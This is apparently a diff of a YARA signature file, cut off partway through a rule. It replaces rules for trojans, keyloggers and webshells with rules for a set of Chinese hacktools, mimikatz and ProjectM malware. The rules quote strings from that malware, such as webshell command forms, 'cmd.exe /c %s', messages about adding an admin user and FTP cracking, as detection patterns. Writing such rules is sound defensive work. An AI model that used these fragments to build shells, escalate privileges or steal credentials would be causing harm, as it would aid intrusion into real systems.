+		$s2 = "Dojibiron by Ronald Huizer, (c) master#h4cker.us  " fullword ascii
+		$s3 = "[ ] Creating evil window" fullword ascii
+		$s4 = "[+] Set to %d exploit half succeeded" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and 2 of them
+		uint16(0)==0x5a4d and filesize <40KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Suckfly_Nidiran_Gen_2 : FILE
+rule SIGNATURE_BASE_Hscangui : FILE
 {
 	meta:
-		description = "Detects Suckfly Nidiran Trojan"
+		description = "Chinese Hacktool Set - file hscangui.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b090079d-1c22-5931-a25b-e960343a610f"
-		date = "2018-01-28"
+		id = "f0993510-70ee-52c6-a7b8-e023eb4b33ee"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_suckfly.yar#L31-L59"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2e4f6a920e063113a9ff252869e1c2ebdf5a2495b4adb1edaf9500904234f362"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2380-L2396"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "af8aced0a78e1181f4c307c78402481a589f8d07"
+		logic_hash = "9c0eb87dcf8aa107b5289d196650aebcf49c24f57a317de0afdadd61fb5bb5b7"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b53a316a03b46758cb128e5045dab2717cb36e7b5eb1863ce2524d4f69bc2cab"
-		hash2 = "eaee2bf83cf90d35dab8a4711f7a5f2ebf9741007668f3746995f4564046fbdf"
 
 	strings:
-		$x1 = "WorkDll.dll" fullword ascii
-		$x2 = "%userprofile%\\Security Center\\secriter.dll" fullword ascii
-		$s1 = "DLL_PROCESS_ATTACH is called" fullword ascii
-		$s2 = "Support Security Accounts Manager For Microsoft Windows.If this service is stopped, any services that depended on it will fail t" ascii
-		$s3 = "before CreateRemoteThread" fullword ascii
-		$s4 = "CreateRemoteThread Succ" fullword ascii
-		$s5 = "Microsoft Security Accounts Manager" fullword ascii
-		$s6 = "DoRunRemote" fullword ascii
-		$s7 = "AutoRunFun" fullword ascii
-		$s8 = "ServiceMain is called" fullword ascii
-		$s9 = "DllRegisterServer is called" fullword ascii
+		$s1 = "[%s]: Found \"FTP account: anyone/anyone@any.net\"  !!!" fullword ascii
+		$s2 = "http://www.cnhonker.com" fullword ascii
+		$s3 = "%s@ftpscan#Cracked account:  %s/%s" fullword ascii
+		$s4 = "[%s]: Found \"FTP account: %s/%s\" !!!" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and (1 of ($x*) or 4 of them )
+		uint16(0)==0x5a4d and filesize <220KB and 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Suckfly_Nidiran_Gen_3 : FILE
+rule SIGNATURE_BASE_Goodtoolset_Ms11080 : FILE
 {
 	meta:
-		description = "Detects Suckfly Nidiran Trojan"
+		description = "Chinese Hacktool Set - file ms11080.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d9daf7e4-2cfa-50c9-84d2-c971734abe5e"
-		date = "2018-01-28"
-		modified = "2023-12-05"
-		reference = "https://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_suckfly.yar#L61-L88"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4fddb55999bbbeecd92863219e878c840640e4d17008cb789a255528ef3fac9c"
+		id = "080e04a3-5cbe-57a8-9106-539451922cb4"
+		date = "2015-06-13"
+		modified = "2022-12-21"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2398-L2417"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f0854c49eddf807f3a7381d3b20f9af4a3024e9f"
+		logic_hash = "a5b03dded6146dae48bca962e7c5419c2ea69f8709ae7f2c9355bd178d5d77fb"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c2022e1114b162e79e44d974fd310d53e1bbdd8cb4f217553c1227cafed78855"
-		hash2 = "47731c9d985ebc2bd7227fced3cc44c6d72e29b52f76fccbdaddd76cc3450706"
 
 	strings:
-		$x1 = "RUN SHELLCODE FAIL" fullword ascii
-		$x2 = "RUN PROCESS FAILD!" fullword ascii
-		$x3 = "DOWNLOAD FILE FAILD" fullword ascii
-		$x4 = "MODIFYCONFIG FAIL!" fullword ascii
-		$x5 = "GetFileAttributes FILE FAILD" fullword ascii
-		$x6 = "MODIFYCONFIG SUCC!" fullword ascii
-		$s1 = "cmd.exe /c %s" fullword ascii
-		$s2 = "error to create pipe!" fullword ascii
-		$s3 = "%s\\%08x.exe" fullword ascii
+		$s1 = "[*] command add user 90sec 90sec" fullword ascii
+		$s2 = "\\ms11080\\Debug\\ms11080.pdb" ascii
+		$s3 = "[>] by:Mer4en7y@90sec.org" fullword ascii
+		$s4 = "[*] Add to Administrators success" fullword ascii
+		$s5 = "[*] User has been successfully added" fullword ascii
+		$s6 = "[>] ms11-08 Exploit" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="ae0f4ebf7e8ce91d6548318a3cf82b7a" or 1 of ($x*) or 2 of them )
+		uint16(0)==0x5a4d and filesize <240KB and 2 of them
 }
-rule SIGNATURE_BASE_Revengerat_Sep17 : FILE
+rule SIGNATURE_BASE_Epathobj_Exp64 : FILE
 {
 	meta:
-		description = "Detects RevengeRAT malware"
+		description = "Chinese Hacktool Set - file epathobj_exp64.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7e58af06-a0ce-532c-9483-b1eca5e3cc28"
-		date = "2017-09-04"
-		modified = "2020-07-27"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_revenge_rat.yar#L11-L34"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "467133402d6898f325cfd8c18308fc2a4dafd06c8624f9347225f16afd4035ce"
+		id = "cb56bbdc-8afa-5b4b-b7df-942dd3d60366"
+		date = "2015-06-13"
+		modified = "2022-12-21"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2419-L2438"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "09195ba4e25ccce35c188657957c0f2c6a61d083"
+		logic_hash = "dc4073a7d319cffbbce7b3c7b7cf02b007839b72fe14ec1fbdcd3343d57cf7bf"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2a86a4b2dcf1657bcb2922e70fc787aa9b66ec1c26dc2119f669bd2ce3f2e94a"
-		hash2 = "7c271484c11795876972aabeb277c7b3035f896c9e860a852d69737df6e14213"
-		hash3 = "fe00c4f9c8439eea50b44f817f760d8107f81e2dba7f383009fde508ff4b8967"
 
 	strings:
-		$x1 = "Nuclear Explosion.g.resources" fullword ascii
-		$x4 = "5B1EE7CAD3DFF220A95D1D6B91435D9E1520AC41" fullword ascii
-		$x5 = "\\RevengeRAT\\" ascii
-		$x6 = "Revenge-RAT client has been successfully installed." ascii
-		$x7 = "Nuclear Explosion.exe" fullword ascii
-		$x8 = " Revenge-RAT 201" wide
-		$s1 = "{11111-22222-20001-00001}" fullword wide
+		$s1 = "Watchdog thread %d waiting on Mutex" fullword ascii
+		$s2 = "Exploit ok run command" fullword ascii
+		$s3 = "\\epathobj_exp\\x64\\Release\\epathobj_exp.pdb" ascii
+		$s4 = "Alllocated userspace PATHRECORD () %p" fullword ascii
+		$s5 = "Mutex object did not timeout, list not patched" fullword ascii
+		$s6 = "- inconsistent onexit begin-end variables" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <500KB and 1 of ($x*)) or (3 of them )
+		uint16(0)==0x5a4d and filesize <150KB and 2 of them
 }
-rule SIGNATURE_BASE_SUSP_VHD_Suspicious_Small_Size : FILE
+rule SIGNATURE_BASE_Kelloworld_2 : FILE
 {
 	meta:
-		description = "Detects suspicious VHD files"
+		description = "Chinese Hacktool Set - file kelloworld.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f4a72e7b-ddd3-5038-9440-1e81dc27755d"
-		date = "2019-12-21"
-		modified = "2023-01-27"
-		reference = "https://twitter.com/MeltX0R/status/1208095892877774850"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_vhd_anomaly.yar#L2-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0bd5b113714854feaa89d52d4bab6a4a00f0dcb7fd816fa7b036eb43d3ea0dd8"
-		score = 50
-		quality = 83
+		id = "3f298004-e618-5f4a-9cd7-c7c954b6fc64"
+		date = "2015-06-13"
+		modified = "2023-12-05"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2440-L2455"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "55d5dabd96c44d16e41f70f0357cba1dda26c24f"
+		logic_hash = "a575c30c06bd84196cbf01a9b5ef3a042cf29553610421b019227d30a2c7ad1c"
+		score = 75
+		quality = 85
 		tags = "FILE"
-		hash1 = "3382a75bd959d2194c4b1a8885df93e8770f4ebaeaff441a5180ceadf1656cd9"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$hc1 = { 63 6F 6E 65 63 74 69 78 }
-		$hc2a = { 49 6E 76 61 6C 69 64 20 70 61 72 74 69 74 69 6F
-               6E 20 74 61 62 6C 65 00 45 72 72 6F 72 20 6C 6F
-               61 64 69 6E 67 20 6F 70 65 72 61 74 69 6E 67 20
-               73 79 73 74 65 6D 00 4D 69 73 73 69 6E 67 20 6F
-               70 65 72 61 74 69 6E 67 20 73 79 73 74 65 6D }
-		$hc2b = "connectix"
+		$s1 = "Hello World!" fullword wide
+		$s2 = "kelloworld.dll" fullword ascii
+		$s3 = "kelloworld de mimikatz pour Windows" fullword wide
 
 	condition:
-		not uint16(0)==0x5a4d and filesize >1KB and filesize <=4000KB and ($hc1 at 0 or all of ($hc2*))
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Hawkeye_Keylogger_Feb18_1 : FILE
+rule SIGNATURE_BASE_Hscan_V1_20_Hscan : FILE
 {
 	meta:
-		description = "Semiautomatically generated YARA rule"
+		description = "Chinese Hacktool Set - file hscan.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6b4b447f-43d6-5774-a1b9-d53b40364732"
-		date = "2018-02-12"
-		modified = "2023-01-06"
-		reference = "https://app.any.run/tasks/ae2521dd-61aa-4bc7-b0d8-8c85ddcbfcc9"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_hawkeye.yar#L2-L18"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "39037ccb90b747c098fbf5a504aee4a6a716901ff5841ae328ea40d06cc3fcfd"
-		score = 90
+		id = "4183824c-b77f-5500-a962-8d9dc78a9388"
+		date = "2015-06-13"
+		modified = "2023-12-05"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2457-L2474"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "568b06696ea0270ee1a744a5ac16418c8dacde1c"
+		logic_hash = "8e30c366c5d5c34a7b50ba4dec17a46c173196b773fff6965891802bcebeb112"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "bb58922ad8d4a638e9d26076183de27fb39ace68aa7f73adc0da513ab66dc6fa"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "UploadReportLogin.asmx" fullword wide
-		$s2 = "tmp.exe" fullword wide
-		$s3 = "%appdata%\\" wide
+		$s1 = "[%s]: Found \"FTP account: anyone/anyone@any.net\"  !!!" fullword ascii
+		$s2 = "%s -h 192.168.0.1 192.168.0.254 -port -ftp -max 200,100" fullword ascii
+		$s3 = ".\\report\\%s-%s.html" fullword ascii
+		$s4 = ".\\log\\Hscan.log" fullword ascii
+		$s5 = "[%s]: Found cisco Enable password: %s !!!" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and all of them
+		uint16(0)==0x5a4d and filesize <200KB and 2 of them
 }
-rule SIGNATURE_BASE_MAL_Hawkeye_Keylogger_Gen_Dec18
+rule SIGNATURE_BASE__Project1_Generate_Rejoice : FILE
 {
 	meta:
-		description = "Detects HawkEye Keylogger Reborn"
+		description = "Chinese Hacktool Set - from files Project1.exe, Generate.exe, rejoice.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1d06f364-a4e2-5632-ad3a-d53a8cddf072"
-		date = "2018-12-10"
+		id = "4b36d450-1194-527c-8565-7f321d486d01"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/James_inthe_box/status/1072116224652324870"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_hawkeye.yar#L20-L34"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b850f02849030d9912b7571e33e969427ac8f721d2f288ae3ac3e971c4ee4263"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2476-L2497"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b66bb4d392881468b33a8ee4458f33bfe7a82d34cc3927eedccd54ad94ff6a04"
 		score = 75
 		quality = 85
-		tags = ""
-		hash1 = "b8693e015660d7bd791356b352789b43bf932793457d54beae351cf7a3de4dad"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "d1a5e3b646a16a7fcccf03759bd0f96480111c96"
+		hash1 = "2cb4c3916271868c30c7b4598da697f59e9c7a12"
+		hash2 = "fe634a9f5d48d5c64c8f8bfd59ac7d8965d8f372"
 
 	strings:
-		$s1 = "HawkEye Keylogger" fullword wide
-		$s2 = "_ScreenshotLogger" ascii
-		$s3 = "_PasswordStealer" ascii
+		$s1 = "sfUserAppDataRoaming" fullword ascii
+		$s2 = "$TRzFrameControllerPropertyConnection" fullword ascii
+		$s3 = "delphi32.exe" fullword ascii
+		$s4 = "hkeyCurrentUser" fullword ascii
+		$s5 = "%s is not a valid IP address." fullword wide
+		$s6 = "Citadel hooking error" fullword ascii
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <2000KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_H4Ntu_Shell_Powered_By_Tsoi_
+rule SIGNATURE_BASE__Hscan_Hscan_Hscangui : FILE
 {
 	meta:
-		description = "Web Shell - file h4ntu shell powered by tsoi.php"
+		description = "Chinese Hacktool Set - from files hscan.exe, hscan.exe, hscangui.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "174b0ee4-23ce-59fd-a784-ab58fd13ce67"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L32-L48"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "06ed0b2398f8096f1bebf092d0526137"
-		logic_hash = "2f3cfb6d7d5ee6facb18397e3166ab2a7450f05a24fbb25a159a6168ca631a39"
-		score = 70
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2499-L2519"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5466c3dd8b2b777186bfab9d0948905eb3692ce05cf4748fb5b7b896dc3cb251"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "17a743e40790985ececf5c66eaad2a1f8c4cffe8"
+		hash1 = "568b06696ea0270ee1a744a5ac16418c8dacde1c"
+		hash2 = "af8aced0a78e1181f4c307c78402481a589f8d07"
 
 	strings:
-		$s0 = "  <TD><DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b>Server Adress:</b"
-		$s3 = "  <TD><DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b>User Info:</b> ui"
-		$s4 = "    <TD><DIV STYLE=\"font-family: verdana; font-size: 10px;\"><?= $info ?>: <?= "
-		$s5 = "<INPUT TYPE=\"text\" NAME=\"cmd\" value=\"<?php echo stripslashes(htmlentities($"
+		$s1 = ".\\log\\Hscan.log" fullword ascii
+		$s2 = ".\\report\\%s-%s.html" fullword ascii
+		$s3 = "[%s]: checking \"FTP account: ftp/ftp@ftp.net\" ..." fullword ascii
+		$s4 = "[%s]: IPC NULL session connection success !!!" fullword ascii
+		$s5 = "Scan %d targets,use %4.1f minutes" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <240KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_PHP_Sql
+rule SIGNATURE_BASE_Kiwi_Tools : FILE
 {
 	meta:
-		description = "Web Shell - file sql.php"
+		description = "Chinese Hacktool Set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "000f0081-b035-5c73-8da2-addde2b55303"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L49-L63"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2cf20a207695bbc2311a998d1d795c35"
-		logic_hash = "83049c3c5bce88d239b59accb173e234c3169f59187de17b7e6c2a0aa58a552f"
-		score = 70
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2521-L2554"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ce7b3c7d57740257013d9d589444a3b53e81254619bd3f09ece917c70bba03ce"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "e57e79f190f8a24ca911e6c7e008743480c08553"
+		hash1 = "55d5dabd96c44d16e41f70f0357cba1dda26c24f"
+		hash2 = "7ac7541e20af7755b7d8141c5c1b7432465cabd8"
+		hash3 = "9fbfe3eb49d67347ab57ae743f7542864bc06de6"
+		hash4 = "5c90d648c414bdafb549291f95fe6f27c0c9b5ec"
+		hash5 = "7addce4434670927c4efaa560524680ba2871d17"
+		hash6 = "28c5c0bdb7786dc2771672a2c275be7d9b742ec7"
+		hash7 = "b5c93489a1b62181594d0fb08cc510d947353bc8"
+		hash8 = "6acecd18fc7da1c5eb0d04e848aae9ce59d2b1b5"
+		hash9 = "5d578df9a71670aa832d1cd63379e6162564fb6b"
+		hash10 = "febadc01a64a071816eac61a85418711debaf233"
+		hash11 = "569ca4ff1a5ea537aefac4a04a2c588c566c6d86"
+		hash12 = "56a61c808b311e2225849d195bbeb69733efe49a"
+		hash13 = "8bd6c9f2e8be3e74bd83c6a2d929f8a69422fb16"
+		hash14 = "44825e848bc3abdb6f31d0a49725bb6f498e9ccc"
+		hash15 = "f661d6516d081c37ab7da0f4ec21b2cc6a9257c6"
+		hash16 = "20facf1fa2d87cccf177403ca1a7852128a9a0ab"
+		hash17 = "6e0ffa472d63fdda5abc4c1b164ba8724dcb25b5"
 
 	strings:
-		$s0 = "$result=mysql_list_tables($db) or die (\"$h_error<b>\".mysql_error().\"</b>$f_"
-		$s4 = "print \"<a href=\\\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&"
+		$s1 = "http://blog.gentilkiwi.com/mimikatz" ascii
+		$s2 = "Benjamin Delpy" fullword ascii
+		$s3 = "GlobalSign" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <1000KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_PHP_A
+rule SIGNATURE_BASE_Kiwi_Tools_Gentil_Kiwi : FILE
 {
 	meta:
-		description = "Web Shell - file a.php"
+		description = "Chinese Hacktool Set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "4ad54580-b10b-5b17-8d8a-510e210e04d1"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L64-L79"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e3b461f7464d81f5022419d87315a90d"
-		logic_hash = "6bdd5fbe9b16f2d84b884239cf3b6453587933c6b0c4308508d10019b4f36e38"
-		score = 70
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L2556-L2587"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1a88bb31e985ae2119b578494ce9130204b41eece5929865c0822cdc82eaba75"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "e57e79f190f8a24ca911e6c7e008743480c08553"
+		hash1 = "55d5dabd96c44d16e41f70f0357cba1dda26c24f"
+		hash2 = "7ac7541e20af7755b7d8141c5c1b7432465cabd8"
+		hash3 = "9fbfe3eb49d67347ab57ae743f7542864bc06de6"
+		hash4 = "5c90d648c414bdafb549291f95fe6f27c0c9b5ec"
+		hash5 = "7addce4434670927c4efaa560524680ba2871d17"
+		hash6 = "28c5c0bdb7786dc2771672a2c275be7d9b742ec7"
+		hash7 = "6acecd18fc7da1c5eb0d04e848aae9ce59d2b1b5"
+		hash8 = "5d578df9a71670aa832d1cd63379e6162564fb6b"
+		hash9 = "febadc01a64a071816eac61a85418711debaf233"
+		hash10 = "569ca4ff1a5ea537aefac4a04a2c588c566c6d86"
+		hash11 = "56a61c808b311e2225849d195bbeb69733efe49a"
+		hash12 = "8bd6c9f2e8be3e74bd83c6a2d929f8a69422fb16"
+		hash13 = "44825e848bc3abdb6f31d0a49725bb6f498e9ccc"
+		hash14 = "f661d6516d081c37ab7da0f4ec21b2cc6a9257c6"
+		hash15 = "6e0ffa472d63fdda5abc4c1b164ba8724dcb25b5"
 
 	strings:
-		$s1 = "echo \"<option value=\\\"\". strrev(substr(strstr(strrev($work_dir), \"/\""
-		$s2 = "echo \"<option value=\\\"$work_dir\\\" selected>Current Directory</option>"
-		$s4 = "<input name=\"submit_btn\" type=\"submit\" value=\"Execute Command\"></p> " fullword
+		$s1 = "mimikatz" fullword wide
+		$s2 = "Copyright (C) 2012 Gentil Kiwi" fullword wide
+		$s3 = "Gentil Kiwi" fullword wide
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <1000KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Imhapftp_2
+rule SIGNATURE_BASE_Projectm_Darkcomet_1 : FILE
 {
 	meta:
-		description = "Web Shell - file iMHaPFtp.php"
+		description = "Detects ProjectM Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L80-L94"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "12911b73bc6a5d313b494102abcf5c57"
-		logic_hash = "9099504870c1e466808060f11aea38472832846d24e3c84fdd69b7d26bfed69d"
-		score = 70
+		id = "6de74d73-f9b2-5e7f-b15e-f850425d849c"
+		date = "2016-03-26"
+		modified = "2023-01-27"
+		reference = "http://researchcenter.paloaltonetworks.com/2016/03/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_project_m.yar#L10-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cc488690ce442e9f98bac651218f4075ca36c355d8cd83f7a9f5230970d24157"
+		logic_hash = "81ffaa382bb6f817fe2917a096a3eee49d2e8c281271da551ccd65679692712f"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s8 = "if ($l) echo '<a href=\"' . $self . '?action=permission&amp;file=' . urlencode($"
-		$s9 = "return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAA"
+		$x1 = "DarkO\\_2" fullword ascii
+		$a1 = "AVICAP32.DLL" fullword ascii
+		$a2 = "IDispatch4" fullword ascii
+		$a3 = "FLOOD/" fullword ascii
+		$a4 = "T<-/HTTP://" ascii
+		$a5 = "infoes" fullword ascii
 
 	condition:
-		1 of them
+		( uint16(0)==0x5a4d and filesize <600KB and 4 of them ) or ( all of them )
 }
-rule SIGNATURE_BASE_Webshell_Jspspyweb
+rule SIGNATURE_BASE_Projectm_Crimsondownloader : FILE
 {
 	meta:
-		description = "Web Shell - file Jspspyweb.jsp"
+		description = "Detects ProjectM Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "2e0658c9-a93d-5eef-93a2-eb1ab29acaee"
+		date = "2016-03-26"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L95-L109"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4e9be07e95fff820a9299f3fb4ace059"
-		logic_hash = "491d9c4efee27469f2a26f6fcb7f7c768eac60977e640096ea5f78ff346e7fbe"
-		score = 70
+		reference = "http://researchcenter.paloaltonetworks.com/2016/03/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/"
